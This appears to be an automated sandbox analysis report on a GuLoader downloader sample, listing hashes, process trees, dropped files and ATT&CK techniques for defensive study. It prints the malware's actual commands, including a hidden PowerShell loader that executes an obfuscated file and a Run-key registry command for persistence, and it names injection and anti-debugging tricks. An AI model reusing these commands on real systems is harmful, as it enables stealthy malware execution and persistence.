guloader | 1ae1583b2be5c21f228a0e925652c9f5013bddf699548ca39b02670576325010

Analysis

max time kernel
150s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
29/04/2024, 14:41

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General

Target
6000507958.exe
Size 563KB
Sample240429-r2e4aadd5w
SHA256 1ae1583b2be5c21f228a0e925652c9f5013bddf699548ca39b02670576325010
MD5 e0d35d2fe887cbe0b4de87f1be7d7a17
SHA1 b37f59b0ec54d6c40645837dbb3a18c954346601
SHA512 9d20fd479a57ccf51c02830744f095b5dfa98707777a8f24968aa0f0e9ac2a4de4ae348831a001b00cae9d750b9372a85248fdd15570a44ca52b90f8cf451256
SSDEEP 12288:8stfWr2z5t/dtpQBEd6XT9Pi8RzDm+EYRfT7d+:8st+r2z5J9Pd6XT9Pi85REYpT7d+
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

guloader downloader persistence

Malware Config

Signatures

Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation	Brookier.exe

Loads dropped DLL 2 IoCs

pid	Process
3508	6000507958.exe
1332	Brookier.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Unphosphatizeds = "%Recolours% -windowstyle minimized $Finpudsningen=(Get-ItemProperty -Path 'HKCU:\\Beakhead\\').Kejserrn;%Recolours% ($Finpudsningen)"	reg.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\psiloses.lnk	6000507958.exe

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
1332	Brookier.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
4032	powershell.exe
1332	Brookier.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 4032 set thread context of 1332	4032	powershell.exe	102
PID 1332 set thread context of 3336	1332	Brookier.exe	57
PID 1332 set thread context of 4996	1332	Brookier.exe	106
PID 4996 set thread context of 3336	4996	cmd.exe	57

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

NSIS installer 2 IoCs

installer

resource	yara_rule
behavioral2/files/0x0008000000023257-60.dat	nsis_installer_1
behavioral2/files/0x0008000000023257-60.dat	nsis_installer_2

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
4272	reg.exe

Suspicious behavior: EnumeratesProcesses 46 IoCs

pid	Process
4032	powershell.exe
4032	powershell.exe
4032	powershell.exe
4032	powershell.exe
4032	powershell.exe
4032	powershell.exe
4032	powershell.exe
4032	powershell.exe
4032	powershell.exe
1332	Brookier.exe
1332	Brookier.exe
1332	Brookier.exe
1332	Brookier.exe
1332	Brookier.exe
1332	Brookier.exe
1332	Brookier.exe
1332	Brookier.exe
1332	Brookier.exe
1332	Brookier.exe
1332	Brookier.exe
1332	Brookier.exe
1332	Brookier.exe
1332	Brookier.exe
1332	Brookier.exe
1332	Brookier.exe
1332	Brookier.exe
1332	Brookier.exe
1332	Brookier.exe
4996	cmd.exe
4996	cmd.exe
4996	cmd.exe
4996	cmd.exe
4996	cmd.exe
4996	cmd.exe
4996	cmd.exe
4996	cmd.exe
4996	cmd.exe
4996	cmd.exe
4996	cmd.exe
4996	cmd.exe
4996	cmd.exe
4996	cmd.exe
4996	cmd.exe
4996	cmd.exe
4996	cmd.exe
4996	cmd.exe

Suspicious behavior: MapViewOfSection 6 IoCs

pid	Process
4032	powershell.exe
1332	Brookier.exe
3336	Explorer.EXE
3336	Explorer.EXE
4996	cmd.exe
4996	cmd.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4032	powershell.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 3508 wrote to memory of 4032	3508	6000507958.exe	90
PID 3508 wrote to memory of 4032	3508	6000507958.exe	90
PID 3508 wrote to memory of 4032	3508	6000507958.exe	90
PID 4032 wrote to memory of 844	4032	powershell.exe	92
PID 4032 wrote to memory of 844	4032	powershell.exe	92
PID 4032 wrote to memory of 844	4032	powershell.exe	92
PID 4032 wrote to memory of 1332	4032	powershell.exe	102
PID 4032 wrote to memory of 1332	4032	powershell.exe	102
PID 4032 wrote to memory of 1332	4032	powershell.exe	102
PID 4032 wrote to memory of 1332	4032	powershell.exe	102
PID 4032 wrote to memory of 1332	4032	powershell.exe	102
PID 1332 wrote to memory of 4964	1332	Brookier.exe	103
PID 1332 wrote to memory of 4964	1332	Brookier.exe	103
PID 1332 wrote to memory of 4964	1332	Brookier.exe	103
PID 4964 wrote to memory of 4272	4964	cmd.exe	105
PID 4964 wrote to memory of 4272	4964	cmd.exe	105
PID 4964 wrote to memory of 4272	4964	cmd.exe	105
PID 3336 wrote to memory of 4996	3336	Explorer.EXE	106
PID 3336 wrote to memory of 4996	3336	Explorer.EXE	106
PID 3336 wrote to memory of 4996	3336	Explorer.EXE	106

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:3336
- C:\Users\Admin\AppData\Local\Temp\6000507958.exe
  "C:\Users\Admin\AppData\Local\Temp\6000507958.exe"
  2⤵
  - Loads dropped DLL
  - Drops file in System32 directory
  - Suspicious use of WriteProcessMemory
  PID:3508
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" -windowstyle hidden "$Matines=Get-Content 'C:\Users\Admin\AppData\Local\Temp\Moviedom230\Devenustate\Accorder\Uncoincidental\Incurvity.eft';$Intensities=$Matines.SubString(15241,3);.$Intensities($Matines)"
    3⤵
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4032
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /A 1^^0"
      4⤵
      PID:844
  - - C:\Users\Admin\AppData\Local\Temp\Brookier.exe
      "C:\Users\Admin\AppData\Local\Temp\Brookier.exe"
      4⤵
      Checks computer location settings
      Loads dropped DLL
      Suspicious use of NtCreateThreadExHideFromDebugger
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: MapViewOfSection
      Suspicious use of WriteProcessMemory
      PID:1332
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Unphosphatizeds" /t REG_EXPAND_SZ /d "%Recolours% -windowstyle minimized $Finpudsningen=(Get-ItemProperty -Path 'HKCU:\Beakhead\').Kejserrn;%Recolours% ($Finpudsningen)"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4964
      - C:\Windows\SysWOW64\reg.exe
        
        REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Unphosphatizeds" /t REG_EXPAND_SZ /d "%Recolours% -windowstyle minimized $Finpudsningen=(Get-ItemProperty -Path 'HKCU:\Beakhead\').Kejserrn;%Recolours% ($Finpudsningen)"
        6⤵
        Adds Run key to start application
        Modifies registry key
        
        PID:4272
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\SysWOW64\cmd.exe"
  2⤵
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  PID:4996

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4092 --field-trial-handle=2280,i,716736634476467098,11449718822158202904,262144 --variations-seed-version /prefetch:8
1⤵
PID:3332

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

Brookier.exe

Path C:\Users\Admin\AppData\Local\Temp\Brookier.exe
Size 563KB
SHA256 1ae1583b2be5c21f228a0e925652c9f5013bddf699548ca39b02670576325010
MD5 e0d35d2fe887cbe0b4de87f1be7d7a17
SHA1 b37f59b0ec54d6c40645837dbb3a18c954346601
SHA512 9d20fd479a57ccf51c02830744f095b5dfa98707777a8f24968aa0f0e9ac2a4de4ae348831a001b00cae9d750b9372a85248fdd15570a44ca52b90f8cf451256
SSDEEP 12288:8stfWr2z5t/dtpQBEd6XT9Pi8RzDm+EYRfT7d+:8st+r2z5J9Pd6XT9Pi85REYpT7d+
MD5 SHA1 SHA512 SSDEEP

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Incurvity.eft

Path C:\Users\Admin\AppData\Local\Temp\Moviedom230\Devenustate\Accorder\Uncoincidental\Incurvity.eft
Size 76KB
SHA256 02e8b4c4053f7f4352c533a46471ab963a86a8156267cdffeb74c0374d2c4c79
MD5 465454d4effb2dd4458e8032988455d0
SHA1 3afe548209cfe0721b65fbd2b4b6019354d0d59f
SHA512 c4a6031758908fe6b48046ab25f88a8983e63c95a6d94542a4e8812d172009f72020a842ee92f42742f15665eaed3e20cd6cf3cd2f166b7ceb2306ffbcceef3d
SSDEEP 1536:cbcsE1JLvUbYpjrIG+BeyZkMnLf8GvkVCG4Sn47Nqjd8FQ4X6g+0M4vY5ByetfAs:cb41xvGYBhKNZkMn7bvkYG4UE76gA5BT
MD5 SHA1 SHA512 SSDEEP

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Ringspinderne.Eks

Path C:\Users\Admin\AppData\Local\Temp\Moviedom230\Ringspinderne.Eks
Size 336KB
SHA256 698751c6b65fa692eace874966db90257c8166210c739be6d00a35053a30f2fa
MD5 3295c50e6679be9cda4405ea4aece7bb
SHA1 6361360fef5d23ee39c4ea42ea48d00e5952ad9a
SHA512 b21f13cecb5c481ca1d951847a4b54881b37c868ada0d54b39d2e784a7fc8acac7d56be1063c2090a053400fe0f149b5450d5afa840153f234ff3f08770bdcf6
SSDEEP 6144:ZeChrURjiUMHwYlPDUqL+OOm+zYxwYmGjUTWdsDxu+DT:L2jiUGw2RLnS/Y5gWeE+/
MD5 SHA1 SHA512 SSDEEP

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__PSScriptPolicyTest_il0pzw04.ncj.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_il0pzw04.ncj.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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nsExec.dll

Path C:\Users\Admin\AppData\Local\Temp\nsoF56D.tmp\nsExec.dll
Size 6KB
SHA256 10675f13abaee592f14382349aa35d82fb52aab4e27eef61d0c83dec1f6b73da
MD5 5aa38904acdcc21a2fb8a1d30a72d92f
SHA1 a9ce7d1456698921791db91347dba0489918d70c
SHA512 f04740da561d7cd0dea5e839c9e1c339d4a3e63944d3566c94c921a3d170a69918a32dff3f3b43f13d55cc25a2dbb4c21104f062c324308ac5104179766402a3
SSDEEP 96:AOBtEB2flLkatAthPZJoi9jpfW/er6cBbcB/NFyVOHd0+uHwEX:AhB2flXAVJtjf6cBbcB/N8Ved0PZ
MD5 SHA1 SHA512 SSDEEP

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memory/1332-74-0x0000000000400000-0x0000000001654000-memory.dmp

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memory/1332-69-0x0000000000400000-0x0000000001654000-memory.dmp

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memory/1332-62-0x0000000001660000-0x0000000002146000-memory.dmp

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memory/1332-61-0x0000000000400000-0x0000000001654000-memory.dmp

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memory/1332-72-0x0000000000400000-0x0000000001654000-memory.dmp

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memory/1332-73-0x0000000001660000-0x0000000002146000-memory.dmp

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memory/1332-78-0x0000000000400000-0x0000000001654000-memory.dmp

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memory/1332-79-0x0000000000400000-0x0000000001654000-memory.dmp

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memory/4032-23-0x0000000005A20000-0x0000000005D74000-memory.dmp

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memory/4032-57-0x00000000088F0000-0x00000000093D6000-memory.dmp

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memory/4032-32-0x0000000006500000-0x000000000651A000-memory.dmp

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memory/4032-33-0x0000000006FA0000-0x0000000006FC2000-memory.dmp

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memory/4032-34-0x0000000007640000-0x0000000007BE4000-memory.dmp

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memory/4032-30-0x0000000004BF0000-0x0000000004C00000-memory.dmp

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memory/4032-36-0x0000000008270000-0x00000000088EA000-memory.dmp

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memory/4032-38-0x0000000004BF0000-0x0000000004C00000-memory.dmp

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memory/4032-29-0x0000000006080000-0x00000000060CC000-memory.dmp

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memory/4032-40-0x0000000007520000-0x0000000007524000-memory.dmp

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memory/4032-41-0x00000000088F0000-0x00000000093D6000-memory.dmp

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memory/4032-42-0x0000000073800000-0x0000000073FB0000-memory.dmp

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memory/4032-43-0x00000000088F0000-0x00000000093D6000-memory.dmp

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memory/4032-45-0x0000000004BF0000-0x0000000004C00000-memory.dmp

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memory/4032-56-0x0000000004BF0000-0x0000000004C00000-memory.dmp

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memory/4032-31-0x0000000006550000-0x00000000065E6000-memory.dmp

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memory/4032-58-0x0000000077261000-0x0000000077381000-memory.dmp

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memory/4032-28-0x0000000005FF0000-0x000000000600E000-memory.dmp

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memory/4032-17-0x00000000059B0000-0x0000000005A16000-memory.dmp

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memory/4032-16-0x00000000058D0000-0x0000000005936000-memory.dmp

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memory/4032-15-0x00000000050F0000-0x0000000005112000-memory.dmp

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memory/4032-70-0x0000000073800000-0x0000000073FB0000-memory.dmp

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memory/4032-71-0x00000000088F0000-0x00000000093D6000-memory.dmp

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memory/4032-14-0x0000000005230000-0x0000000005858000-memory.dmp

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memory/4032-13-0x0000000004BF0000-0x0000000004C00000-memory.dmp

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memory/4032-12-0x0000000002690000-0x00000000026C6000-memory.dmp

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memory/4032-10-0x0000000073800000-0x0000000073FB0000-memory.dmp

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memory/4032-11-0x0000000004BF0000-0x0000000004C00000-memory.dmp

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memory/4996-77-0x0000000001300000-0x000000000133F000-memory.dmp

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memory/4996-80-0x0000000001300000-0x000000000133F000-memory.dmp

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